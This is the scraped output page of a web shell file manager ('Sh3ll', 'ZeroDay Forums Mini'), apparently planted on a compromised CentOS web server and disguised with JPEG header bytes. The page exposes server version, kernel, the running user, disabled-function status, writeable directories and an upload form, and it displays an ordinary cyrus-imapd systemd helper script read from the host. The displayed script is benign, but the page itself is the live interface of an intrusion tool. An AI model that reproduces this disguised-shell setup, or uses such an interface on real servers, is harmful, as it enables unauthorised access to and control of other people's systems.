ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /lib/cyrus-imapd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/cyrus-imapd/cyr_systemd_helper
#!/bin/sh
# get_config [config default]
# extracts config option from config file
get_config() {
  if conf=$(grep "^$1" /etc/imapd.conf); then
    echo $conf | cut -d: -f2
  else
    echo $2
  fi
}

CONFIGDIRECTORY=$(get_config configdirectory /var/lib/imap)
RETVAL=0

start() {
      cd $CONFIGDIRECTORY
      runuser - cyrus -s /bin/sh -c "umask 166 ; /usr/lib/cyrus-imapd/cvt_cyrusdb_all > ${CONFIGDIRECTORY}/rpm/db_import.log 2>&1" < /dev/null
      RETVAL=$?
}

stop() {
      cd $CONFIGDIRECTORY
      runuser - cyrus -s /bin/sh -c "umask 166 ; /usr/lib/cyrus-imapd/cvt_cyrusdb_all export > ${CONFIGDIRECTORY}/rpm/db_export.log 2>&1" < /dev/null
      RETVAL=$?
}

case "$1" in
  start)
    start
    ;;
  stop)
    stop
    ;;
  *)
    ;;
esac

exit $RETVAL

ZeroDay Forums Mini